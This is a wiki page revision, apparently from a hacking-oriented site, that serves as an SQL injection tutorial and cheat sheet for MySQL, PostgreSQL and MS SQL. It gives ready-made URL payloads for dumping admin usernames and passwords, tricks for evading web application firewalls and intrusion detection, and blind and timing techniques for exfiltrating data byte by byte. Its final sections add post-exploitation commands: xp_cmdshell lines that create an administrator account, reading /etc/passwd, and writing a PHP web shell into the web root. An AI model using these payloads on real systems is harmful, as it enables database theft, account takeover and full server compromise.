Revision as of 08:36, 28 February 2012

SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation. Typically, databases include things like (but not limited to): Authentication credentials Other identifying information about a user (like an IP address) Site configurations Site content and themes Communications between users within the site Protip: We'll be updating this page relatively frequently, if it does not have the answer to your question, you can try us in IRC, or check back later. If you try us in IRC, we'll do our best to help you find the solution. The maintainer says If you see missing things you'd like to contribute, don't hesitate to contact us.

Starting Out

If you haven't already done so, now is a good time to orient yourself with SQL servers and queries with our SQL primer, otherwise you may get lost in this text easily.

Cause(s) of vulnerabilities

SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input.

• Un-sanitized user input - The developer made no effort to stop an injection attack
• Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
• Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page
  Notice: Cookies and other "hidden" forms of communication in the HTTP request header are also processed as user input and can be considered attack vectors as well.

Potential Target Environments

A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application.

Navigating Unfamiliar Databases without the C API

Nearly every modern databasing engine has an information_schema database or schema. Important tables that are part of information_schema include schemata,routines,columns, and tables.

MySQL Database Mapping

SELECT schema_name FROM information_schema.schemata;

SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=[database_name]

SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[database_name]

PostgreSQL Mapping

SELECT schema_name FROM information_schema.schemata WHERE catalog_name=[DATABASE name]

SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=[DATABASE name]

SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=([schema_query]) AND catalog_name=[database_name]

MS SQL Mapping

MS SQL is a bit different when it comes to ordered single-cell selection. Notice: We don't currently have a method of listing all of the database names in MS SQL. If you have a copy that one of our developers can use for testing to improve this article, please don't hesitate to let us know in IRC. Listing Tables: SELECT TABLE_NAME FROM information_schema.columns WHERE table_catalog=[database_name] GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC; Listing Columns: SELECT column_name FROM information_schema.columns WHERE table_catalog=[database_name] AND TABLE_NAME=[table_query] GROUP BY column_name ORDER BY column_name ASC

Legacy Databases

Databasing engines compared and contrasted in light of SQL Injection

• Similarities and differences between database engines include table and column names, function names, environment variables, and statement syntax.

Information_Schema

All of the databasing engines that presently have an information_schema collection all have the following in common: The information_schema.tables table has a table_name column. The information_schema.columns table has both table_name and column_name columns. All of them have information_schema.routines and information_schema.schemata tables.

Functions & Environment Variables

Other syntax

Protip: All of the databases share the same comparison operators, basic SELECT, WHERE, GROUP, and ORDER syntax.

PostgreSQL and MySQL now share the same LIMIT syntax: LIMIT [COUNT] offset [ROW TO START at]

Microsoft SQL does not have a LIMIT clause. In stead, sub-queries with SELECT TOP and ORDER BY clauses are used as a workaround. This makes for a less readable query and a more frustrating attack. SELECT top 1 $column FROM (SELECT top $OFFSET $column FROM $table [WHERE clause] [GROUP BY clause] ORDER BY $column DESC) sq [GROUP BY clause] ORDER BY $column ASC

Capabilities

Different SQL databasing engines have different capabilities. As a result, there are advantages and disadvantages passed to an attacker for each limitation or unique piece of functionality that a SQL server may have to offer. MSSQL Has the ability to execute server side commands natively via xp_cmdshell. MySQL has the ability to read and write to files using the LOAD DATA and SELECT ... INTO OUTFILE ... statements as well as the load_file() function. PostgreSQL is the only databasing engine which supports trigger functions or other user-defined functionality added to a table in most procedural scripting languages (Perl,Python,Ruby).

Modern day SQL Injection Obstacles and Countermeasures

Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall.

Configuration & Environment Challenges

Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information.

IDS, IPS, and Web Application Firewalls

Web application firewalls usually operate at the same layer as the HTTP server or application, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer.

Common Web Application Firewall HTTPD Modules

• Mod_Security (Apache)
• Naxsi (Nginx)
• ISAPI Filters (Microsoft IIS)

Common signatures use regular expressions that will match (and block) many common or simple testing techniques.

Improper Sanitizing

Partial sanitizing

Partial sanitizing may affect any or more (unlisted here) of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely.

• The single quote character: '
• The double quote character: "
• The tag characters: < and >
• The equals character: =
• The comma character: ,
• The parenthesis characters: ( and )

Deprecated Sanitizing

Basic Remote Tests for SQL Injection Vulnerabilities

Make sure to have written authorization from the site owner first!

Vulnerability Characteristics

Vulnerability types

SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three. Standard vulnerabilities: The page can be exploited by using the UNION SELECT or UNION ALL SELECT statements to simply display selected data on the page. Error-based vulnerabilities: Error based vulnerabilities occur when verbose errors from the SQL databasing engine are enabled and displayed on the page. Thus, attackers may use things such as illegal type conversions to throw errors containing data. Blind vulnerabilities: Blind SQL injection vulnerabilities are not only the most difficult to exploit, but also the most time consuming. Timing attacks and boolean enumeration are the only methods of successful exploitation of select statements.

Injection Points

$query = "select * from table where id=$input";

$query = "select * from table limit $input";
$query = "select * from table limit 1 offset $input";
$query = "select * from table order by $input";
$query = "select * from table group by $input";

$query = "update table set var=$input";

$query = "update table set var=value where column_name='$input'";

$query = "insert into table values(null,$input)";

Input Testing

Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, GET parameters, and other request headers. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.

Your First Where Clause Injection

Boolean challenges will return zero rows if conditions are not met, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test. In our first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like: /article_by_id.php?id=10 A researcher could check that URI against: /article_by_id.php?id=10%20AND%201=1 and /article_by_id.php?id=10%20AND%201=0 When a page is vulnerable, the page on /article_by_id.php?id=10%20AND%201=1 will match the page on: /article_by_id.php?id=10 however the page at: /article_by_id.php?id=10%20AND%201=0 will have data (and likely the entire article) missing. In our second example, using $title, the same affect can be achieved on an unsanitized string with the following URI's: /article_by_title.php?id=SQL%27%20AND%20%271%27=%270 /article_by_title.php?id=SQL%27%20AND%20%271%27=%271

Protip: The same methodology as the integer test applies, merely with added single quotes (%27).

Most of today's security systems will easily identify and block simple testing methods like the ones we just illustrated.

Reconstructing injected Queries

$query = "select * from articles where id=$id";

$query = "select * from articles where id=10 and 1=1";
$query = "select * from articles where id=10 and 1=0";

$query = "select * from articles where title='$title'";

$query = "select * from articles where title='SQL' and '1'='0'";
$query = "select * from articles where title='SQL' and '1'='1'";

Bypassing Modern SQL Injection Security Measures

To exploit or even test web applications in the modern world, we'll need to recognize it when countermeasures are in place and be able to defeat them. Protip: Many IDS and WAF systems can be easily evaded by either: Simply using SSL or HTTPS Using a de-syncronization attack like session-splicing when SSL is not an option. A WAF is probably in the way if you're experiencing: Notice: Simply triggering an IPS or WAF and having your request blocked under only certain conditions does not confirm the vulnerability of the page. Having the connection to the server reset ONLY when testing the site for vulnerabilities 403 Forbidden responses ONLY when testing the site for vulnerabilities Being blocked by the remote firewall after a repeatable number of injection attempts

Basic Signature Evasion

Signature evasion is very similar to evading partial sanitizing. In stead of modifying your characters, an IPS drops traffic if your characters appear in a particular sequence in order to match a pattern. By discovering that sequence, we can make adjustments to our queries to evade the IPS or WAF in the way of our testing. Many web application firewalls will recognize the "1=1" test simply due to its popularity. Other queries that are very similar may also be noticed. Lets suppose the signature is looking for something along the lines of [integer][equal sign][integer], or that a request with "AND 1=1" had its connection reset, but the page without the injection continues to load.

Whitespace placement

Take note of the whitespace around the = operator. If there is none, try adding a space. If there's a space on each side, try removing or adding one to see if there isn't a proper length delimiter on the signature. You may find lopsided, missing, or extra whitespace may bypass signature-based analysis engines.

 %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%201 (TRUE)
 %20and%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%201=%20%20%20%200 (FALSE)

Integer and string size delimiters

Because there is usually a size delimiter or a maximum size to the integer, we can exceed that size to stop ourselves from being detected. Ten digit random numbers, in stead of the single digit predictable numbers might do the trick.

 %20and%402837649781237849=402837649781237849 (TRUE)
 %20and%201789236419872364=128756128398671289 (FALSE)

Switching up the data types

If integers are giving you a hard time, the signature may be tuned too specifically to integers. Try mixing the comparisons up a bit, using strings or floating point values to de-rail the signature.

 %20and%205.8=5.8      (TRUE)
 %20and%200.2=0.3      (FALSE)

Arithmetic tests

In stead of comparing a value like "1=1", try comparing mathematical expressions. Mathematical expressions may be the key to bypassing your problem if you're still jammed up on a signature detection.

 %20and%201.2+3=4.2    (TRUE)
 %20and%200.2-1=0      (FALSE)

Capitalization

If you're still having problems during testing, this probably isn't your issue. Try changing the case of the letters making up your boolean operator (and to AnD and or to oR).

Extending conditional statements

Protip: Many IDS signatures will look for a boolean operator ("and" or "or") before a conditional statement if it is being appended to another conditional statement (e.g. after query reconstruction we have where id=1 and 1=1, there are two conditions there).

Using IF for MySQL injection: The syntax for the IF statement in MySQL is: IF([condition],[VALUE TO RETURN IF TRUE],[ELSE RETURN VALUE])  %20and%20if(10829361=10829361,1,0) (TRUE)  %20and%20if(98276232=72619126,1,0) (FALSE) You can use any combination of the above techniques in conjunction with one another as long as your queries still return true and false.

Defeating partial sanitizing

You'll likely hit a brick wall if you try to bypass the sanitizing by breaking the sanitizing method. In stead, focus on evading the sanitizing by crafting queries that do not require sanitized characters.

Quotes

 select 'abc';
 ...is equivalent to...
 select 0x616263;

String concatenation can avoid the use of quotes the use of quotes in: MySQL: Using the char() function to construct the string 'abc': select char(97,98,99); ->Similar to the hex example, char(97,98,99) can be used interchangeably with the string 'abc'. PostgreSQL: Using the chr() function and double-pipe concatenation operator: select chr(97)||chr(98)||chr(99); ->Similar to the above example, chr(97)||chr(98)||chr(99) can be used interchangeably with the string 'abc'. Microsoft SQL Server: Using the char() function and plus operator: select char(97)+char(98)+char(99); ->Similar to the other examples, char(97)+char(98)+char(99) can be used interchangeably with the string 'abc'.

Whitespace Filtering

 and%0a1=1
 and%0a1=0
 and+1=1
 and+1=0

AND/*comment1*/1/*comment2*/=/*comment3*/1
AND/*comment1*/1/*comment2*/=/*comment3*/0

Bypassing XSS Filters During SQL Injection

If you've run into XSS filtering, chances are the standard comparison operators (=, <,>) are being filtered out. If this is the case, we need to use alternative comparison operators: [VALUE] BETWEEN ... AND ... [VALUE] REGEXP [PATTERN] - MySQL [VALUE] RLIKE [PATTERN] - MS SQL [VALUE] ~ [PATTERN] - PostgreSQL

Testing with BETWEEN

 and%2050%20between%200%20and%20100   (True)
 and%20300%20between%200%20and%20100  (False)

 select * from articles where id=1 and 50 between 0 and 100
 select * from articles where id=1 and 300 between 0 and 100

 and%20'c'%20between%20'a'%20and%20'm (True)
 and%20'z'%20between%20'a'%20and%20'm (False)

Testing with Regular Expression Operators (REGEXP, ~, and RLIKE)

Different database engines have different operators for Regular Expressions: MySQL uses the REGEXP operator. PostgreSQL uses the ~ operator. MS SQL uses the RLIKE operator.

Protip: Regular expressions are the most evasive method for remote SQL injection possible, as they lack many of the common syntax characters necessary for other forms of injection.

The following tests contruct strings using native string constructors to bypass any requirement for quotes. If you need more information regarding this, please see our entry on evading quotation and apostrophe sanitizing. Below are either hexadecimal character codes or ascii code equivilent characters being translated into a string by the SQL server. You'll need to get used to these in order to become proficient in SQL injection. MySQL testing: True: AND 0x2e REGEXP 0x2e False: AND 0x6a REGEXP 0x7a PostgreSQL testing: True: AND chr(97) ~ chr(97) False: AND chr(98) ~ chr(99) MS SQL testing: True: AND CHAR(97) RLIKE CHAR(97) False: AND CHAR(104) RLIKE CHAR(64)

Intermediate SQL Injection

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

Automation Theory

 
SELECT LENGTH(USER())
SELECT CHAR_LENGTH(USER())
SELECT len(USER())

 
SELECT COUNT(column_name) FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[DATABASE]
 

SELECT column_type FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND column_name=[column_name] AND table_schema=[DATABASE]

Sometimes you won't be able to select integer values when using error-based injection. There's more than one way to solve this. Predefined scope Use ORDER by to find the upper most row and lower most row of the results set. You can stop by starting at an element on one end and then keeping your order by clause intact, incrementing your offset; you'll know when to stop when you've reached the value on the other end of the table.   $stop_value = "select id from table order by id desc limit 1 offset 0"; $start_query = "select id from table order by id asc limit 1 offset 0";   In your loop:   $loop_query = "select id from table order by id asc limit 1 offset $counter";   When the value returned by $loop_query equals the value from $stop_query, terminate the loop. Cast and concatenate attempt to string concatenate a character to the integer to throw an error.

Basic Injection : Union Select

The UNION operator allows you to collect the output of twwo SELECT statments with, for example, UNION ALL, so long as the results have the same number of columns:

SELECT column FROM table UNION ALL SELECT column

If we know the number of columns in a table (for example, by using the ORDER BY injection technique), we can use the following type of injection:

http://things.com/article.php?id=5 UNION ALL SELECT 1,2/*

If there are 2 columns. This selects in the following way:

SELECT * FROM ARTICLES WHERE id=5 UNION ALL SELECT 1,2/*

This selects every entry where both id=5 and where column = 1 or 2.

If the number 1 or 2 was outputted, we would know that UNION works. For example, if 2 was outputted, the id was in column 2.

An example of an SQLi to verify a table exists using UNION SELECT is the following:

http://things.com/article.php?id=5 UNION ALL SELECT 1,2 FROM admin/*

If the output is the same as before, it means the query was successful and the table 'admin' exists.

Once we know this, obtaining data is as simple as injecting a column:

http://things.com/article.php?id=5 UNION ALL SELECT 1,password FROM admin/*

In this case, the password from table admin where id=5 would be displayed where '2' was displayed before. This particular injection appears at first glance to be limited to a single entry (unless more columns are available for display), but in truth one can use the MySQL concat() function to display the contents of several queries as a single string.

For example:

http://things.com/article.php?id=5 UNION ALL SELECT 1,concat(0x20, username, 0x3a, password) FROM admin/*

Which would format the username and password in the format ' username:password'.

Intermediate Testing: "SELECT" ... LIMIT, ORDER BY, and GROUP BY clause injections

 /view_results.php?start=30&perpage=10

A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax: LIMIT $perpage OFFSET $start

On older versions of MySQL, the offset operator was not supported. In those cases we'll be using the older syntax: LIMIT $perpage,$start

Intermediate Injection: Information retrieval via verbose errors

• Sometimes databases display errors containing selected data even though union select is not an option.
• Sometimes the application will display SQL errors on the page.

 
 AND 1=CONVERT(INT,@@DATABASE)--

 

 AND 1=2 OR ROW(1,1) > (SELECT COUNT(*),concat(DATABASE(),0x3a,FLOOR(rand()*2) ) x FROM (SELECT 1 UNION SELECT 2) a GROUP BY x LIMIT 0,1)

 AND 3=5 OR (SELECT CAST(current_database() AS NUMERIC)) = (SELECT CURRENT_USER())

Advanced: Manual Boolean Enumeration

There are primarily two methods to using boolean enumeration. One involves selecting a byte from a single-cell of a database and testing for true or false against its character or ascii code, the other involves selecting a single-cell and comparing it with a regular expression. Fortunately for us, universal operators and universal functions include: BETWEEN ... AND ... | Operator = < > | Operators substring() | Function ascii() | Function This assists us with crafting uniform queries that affect ALL sql dialects.

Using Ascii codes and the ascii() function for enumeration

The ascii() function on any given database engine will return the ascii code for the the character passed to it. If it is passed an entire string, it will return the ascii code for the first character. For example: SELECT ascii('a'); +------------+ | ascii('a') | +------------+ | 97 | +------------+ 1 ROW IN SET (0.00 sec)

substring()

SUBSTRING([STRING],[POSITION],[LEN])

 SELECT SUBSTRING('abc',1,1);
  +----------------------+
  | SUBSTRING('abc',1,1) |
  +----------------------+
  | a                    |
  +----------------------+
  1 ROW IN SET (0.00 sec)
 

 SELECT SUBSTRING('abc',2,1);
  +----------------------+
  | SUBSTRING('abc',2,1) |
  +----------------------+
  | b                    |
  +----------------------+
  1 ROW IN SET (0.01 sec)
 

Version Fingerprinting with ascii-based enumeration

 While boolean enumeration can be used to obtain any type of data, we're using version fingerprinting as our example.

In theory

For our examples we're using the version() function. Protip: If the version() function fails, try the @@version environment variable instead. The ascii code of the first character of the version string can be accessed by calling: ascii(substring(lower(version()),1,1)) On PostgreSQL, the first character of version() is 'P'. Since we're converting it to lowercase, the ascii value of 'p' is 112. postgres=# SELECT ascii(SUBSTRING(LOWER(version()),1,1)); ascii ------- 112 (1 ROW) On MySQL, the first character of version() is numeric. On our local example, the first character is '5'. mysql> SELECT ascii(SUBSTRING(LOWER(version()),1,1)); +----------------------------------------+ | ascii(SUBSTRING(LOWER(version()),1,1)) | +----------------------------------------+ | 53 | +----------------------------------------+ 1 ROW IN SET (0.00 sec)

In Practice

 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 127
 /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 128 and 255

SELECT * FROM sample WHERE id=1 AND ascii(SUBSTRING(LOWER(version()),1,1)) BETWEEN 53 AND 53;
  +----+---------------------+
  | id | sample_text         |
  +----+---------------------+
  |  1 | this IS sample text |
  +----+---------------------+
  1 ROW IN SET (0.01 sec)

     ascii(SUBSTRING(LOWER(version()),1,1))

     ascii(SUBSTRING(LOWER(version()),2,1))

Using Regular Expressions for Boolean enumeration

Regular expressions is by far the best solution to filtering and sanitizing. MySQL's REGEXP operator is case insensitive. PostgreSQL's ~ operator is case sensitive.

Getting started with regular expressions

 ^   The beginning of a string
 $   End of a string
 .   Any character
 *   0 or more of the preceeding character
 +   1 or more of the preceeding character
 ?   0 or 1 of the preceeding character

  Pattern | Description
  [a-z]   | Matches only letters a through z
  [0-9]   | Matches only numbers
 [aeiouy] | Matches vowels.
 ^a[0-9]  | Matches if the first character of the string is `a', only if the second character of the string is a number.

Version fingerprinting using compatible regular expressions

Protip: Regular expressions are portable.

MS SQL and MySQL now both have the RLIKE regular expression operator. Version enumeration on MySQL and MS SQL: AND version RLIKE '^[0-4]' -- This will match if the first character of the version is between 0 and 4 AND version RLIKE '^[5-9]' -- This will match if the first character of the version is between 5 and 9 Because PostgreSQL's version() string always starts with 'P' for "PostgreSQL": AND LOWER(version()) ~ '^[a-z]' -- Should ALWAYS return true AND UPPER(version()) ~ '^[a-z]' -- Should NEVER return true Adjust the ranges to hone in on the value of the byte.

Expert: Timing attacks for automated boolean enumeration

MySQL Boolean Timing Attacks

Mysql's primary functions that can time delay are sleep() and benchmark(). Benchmark() is actually a benchmark utility and executes a given query a number of times based on a BIGINT argument, whereas sleep() is a single query.

benchmark() and related issues

Benchmark() may betray your activities Experience says "Lets just call benchmark... ...deprecated" Benchmark() is the rudest (and slowest and least reliable) method for timing attacks, primarily due to the fact that it executes large amounts of queries and is CPU intensive. Any extensive injections using benchmark() are likely to alert a system administrator to the resource consumption; even if he never finds the attack, he'll be called. For this reason we have minimal coverage of the benchmark() function and recommend using a sleep() function call in stead.

Evasive sleep() based boolean enumeration with regular expressions

 
  mysql> SELECT version();
  +-----------------+
  | version()       |
  +-----------------+
  | 5.1.58-log      |
  +-----------------+
  1 ROW IN SET (0.00 sec)

 
  mysql> SELECT * FROM sample WHERE id=1;
  +----+---------------------+
  | id | sample_text         |
  +----+---------------------+
  |  1 | this IS sample text |
  +----+---------------------+
  1 ROW IN SET (0.00 sec)

Testing for the ability to sleep():

 %20and%20sleep(15)

  mysql> SELECT * FROM sample WHERE id=1 AND sleep(15);

 Empty set (15.00 sec)

Controlling sleep() for enumeration:

Using cast() to gain control of sleep() with regex: Notice when injecting that the sleep() function still outputs a false results set, however it takes 15 seconds. It should take the page less than that to load normally. We can use this in conjunction with a timer when automating sql injection. As noted above in the general boolean enumeration section, because we want to evade modern IDS systems, the best option is the REGEXP operator because of its lack of need for quotes,commas, or standard comparison operators (<, =, >) If the input for the id is vulnerable, the best method to exploit sleep() is by using the REGEXP operator in combination with the CAST() function. REGEXP always returns 1 or 0 based on whether or not there was a match. 1 for matching and 0 for no match found. By casting its return to a signed integer and using a multiplication test, we can control its output for combination with the sleep command: mysql> SELECT * FROM sample WHERE id=1 AND sleep(CAST((SELECT 'a' REGEXP '^[n-z]') AS signed) * 15); Empty set (0.00 sec) mysql> SELECT * FROM sample WHERE id=1 AND sleep(CAST((SELECT 'x' REGEXP '^[n-z]') AS signed) * 15); Empty set (15.00 sec) * Now we have false sleeping for zero seconds and true sleeping for 15 seconds.

Using sleep() to map a table name with regular expressions

  mysql> SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0;
  +------------+
  | TABLE_NAME |
  +------------+
  | sample     |
  +------------+
  1 ROW IN SET (0.00 sec)

  mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST(
           (SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[a-m]')
         AS signed) * 15));

 Empty set (0.00 sec)

  mysql> SELECT * FROM sample WHERE id=1 AND sleep((SELECT CAST(
           (SELECT (SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0) REGEXP '^[n-z]')
         AS signed) * 15));

 Empty set (15.00 sec)

/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e612d6d) as signed) * 15));

/vulnerable.ext?id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp 0x5e6e2d7a) as signed) * 15));

PostgreSQL Boolean Timing Attacks

 pg_sleep() is the basis of both single-byte exfiltration and boolean enumeration.

Testing for access to pg_sleep()

   AND pg_sleep(15) IS NULL

Using pg_sleep() with alternative comparisons for evasive boolean enumeration

You can use BETWEEN ... AND ... as well as the regular expression operators here. Sleeping on true and not sleeping on false: Notice: Similar to mysql, the database will sleep when you select pg_sleep([int]). Using CASE to control pg_sleep with BETWEEN...AND: AND (CASE WHEN 1 BETWEEN 1 AND 1 THEN pg_sleep(15) ELSE 9 END) IS NULL If the input is vulnerable, the database will sleep for 15 seconds. True statements will sleep, false statements will not sleep. You can use ascii() between similar to standard PostgreSQL Boolean Enumeration here, True Injection: AND (CASE WHEN ascii(SUBSTRING(version(),1,1)) BETWEEN 1 AND 255 THEN pg_sleep(5) ELSE 98923 END) IS NULL False Injection: AND (CASE WHEN ascii(SUBSTRING(version(),1,1)) BETWEEN 1 AND 1 THEN pg_sleep(5) ELSE 23265 END) IS NULL Using CASE with the ~ regular expression operator and string concatenation: Protip: Notice that like MySQL regular expression attacks, this attack also bypasses the need for several syntax characters. The following will sleep for 15 seconds if the lowercase format of the version string matches "^[a-z]", the same as the (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) . This should always be true, delaying the page load for an additional 15 seconds: AND (CASE WHEN LOWER(version()) ~ (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) THEN pg_sleep(15) ELSE NULL END) IS NULL This should always be false, as PostgreSQL always capitalizes the first character, meaning no time delay should take place: AND (CASE WHEN version() ~ (SELECT chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93)) THEN pg_sleep(15) ELSE NULL END) IS NULL

Expert: Automated Single-byte exfiltration

There are multiple types of single byte exfiltration attacks:

• Timing based
• Pre-computation based

The only three things that all of these methods have in common is:

• These attacks are all limited in some fashion because of local environment and latency or remote environment and dataset.
• You must retain the use of commas (,); regular expressions will not work here because you are selecting rather than comparing the value of a single byte.
• You must not be afraid of programming.

Timing-based Single-byte Exfiltration

If you're not on a LAN when you utilize this technique, you will get buggy and unpredictable results. This testing is ideal when: You're on a relatively low latency network You have a consistent latency and the remote page has a consistent load time (may not vary by more than 0.5 seconds) Protip: Single byte exfiltration takes less queries to perform the same results, and leaves a smaller log footprint. You will need to use a timer to see how long it takes the remote server to serve the page. Examples of timing-based single-byte exfiltration: Exfiltrating the first character of the database name in a single request:   AND sleep(ascii(SUBSTRING(@@DATABASE,1,1))) -- MySQL AND pg_sleep(ascii(SUBSTRING(current_database,1,1))) IS NULL -- PostgreSQL   By timing these (in seconds) we will have the integer value of the ascii code of the first character of the database.

The Comparative Precomputation Attack

This attack relies heavily on the remote dataset for successful exploitation and is thus less reliable than other methods. Notice: This significantly differs from previously discovered single-byte exfiltration techniques because: It is based on precomputation It is not a timing attack Requirements: The query you are injecting into must have at least 254 rows The precomputation attack is compatible with all database backends.

Notice: Precomputation is done for performance reasons. At the very least, a comparative test will be required. The more complex a remote site is (random content generation, etc), the more difficult this type of attack becomes to automate.

Suppose we had the following query: $query = "select * from articles where id=$input"; And the following uri: /articles.php?id=1 We can test to see if there are 255 articles by visiting: /articles.php?id=255 The architect says Follow the next steps for automation (and sanity's) sake: Choose a language supporting something similar to array_flip() for programming your automation tool. Write a loop to download each article In the loop, populate an array (using integer indexes) with checksum hashes as values Flip the array We're almost done! We can then visit: /articles.php?id=ascii(substr(user(),1,1)) Checksum the output Now access the checksums array using the checksum of the output as the key: $ascii_code = $checksums[$output_checksum]; And we've determined the value of a byte. Protip: You can extend this attack by: Using arithmetic operators to get sequential id's offset from 0-255 (e.g. /articles.php?id=(select ascii(substr(user(),1,1))+67) Using MySQL field operators and a static query that returns id's to bypass the requirement for the id's to be sequential

Further Penetration

Obtaining direct database access

  SELECT load_file('/path/to/config.php');

find -name \*conf\*.php -exec grep -iHn "user\|name\|pass\|host" '{}' \;

Obtaining filesystem access

This will require MySQL, depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege. load_file() Mysql's load_file() function takes a single string literal (it can be bypassed with 0x[hex]) as a filename and returns either the file contents as a single-cell string or null if the query failed for any reason. select ... into outfile into outfile is limited in that it cannot receive a string literal, but must be a constant. Examples of these are located in our priveleged MySQL cheat sheet.

Obtaining Code Execution

• Through the vulnerable web application:

It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete PHP or other interpreted languages in the associated files. Knowing this is just one more reason to make a beeline for the user table for the affected web application and get to cracking the authentication credentials for the admin user.

• Via database engine (MS SQL-specific)

By ending the query with a semicolon or comment delimiter and beginning a new query, we can get MS SQL to run

;exec master..xp_cmdshell 'net user hacker hacker_password /add'
;exec master..xp_cmdshell 'net localgroup administrators hacker /add'
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net user hacker hackerpassword /add';--
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net localgroup administrators hacker /add';--

• Writing a shell to the document root (MySQL-specific)

Cheat Sheets

Vulnerability Testing

Universal True and False Statements

Notice: We've ensured the accuracy of this stuff. If we're missing any universal testing operators, please let us know. Standard operators (Universal): True: AND 230984752 = 230984752 False: AND 1023947182234 = 4382616621386497 The Between ... And ... operators (Universal): True: AND 238829 BETWEEN 238826 AND 238927 False: AND 328961 BETWEEN 928172 AND 986731 The LIKE operator (Universal): True: AND 'sqltest' LIKE 'sql%' False: AND 'sqltest' LIKE 'not true' The REGEXP operator (RLIKE in Microsoft SQL and the "~" character in PostgreSQL, Universal): True: AND 'sqltest' REGEXP '^sql' False: AND 'sqltest' REGEXP '^false'

MySQL Syntax Reference

• Comment notation:

 /*   [*/]
 %23 (# urlencoded) 
 --[space]

• Handy functions, statements, and Environment Variables:

 version()
 user()
 current_database()
 count([column_name]) from [table_name]
 length([column_name]) from [table_name] [where or limit]
 substr([query],[byte_counter],1) 
 concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]
 group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]

• You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".

Mysql Versions >= 5 User Schema Mapping (Unprivileged)

• Show Databases Equivilent:

 select schema_name from information_schema.schemata limit 1 offset 0

• Show Tables Equivilent

 select table_name from information_schema.tables where table_schema=database() limit 1 offset 0

• Show Fields Equivilent

 select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0

Privileged Mysql (Any version) User

• Get mysql usernames and password hashes:

 select concat(user,0x2f,password) from mysql.user limit 1

• Grab /etc/passwd

 select load_file(0x2f6574632f706173737764)

• Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs

 select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'

PostgreSQL Syntax Reference

 
  current_database()
  CURRENT_USER()
  chr()
  ascii()
  substr()

Quick and common string concatenations:

String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'". Congruent to select 'BASE TABLE';: (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69)) Congruent to select 'pg_catalog';: (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103)) Congruent to select 'information_schema';: (SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))

PostgreSQL Schema Mapping

  SELECT schema_name FROM information_schema.schemata WHERE catalog_name=current_database() LIMIT 1 offset 0

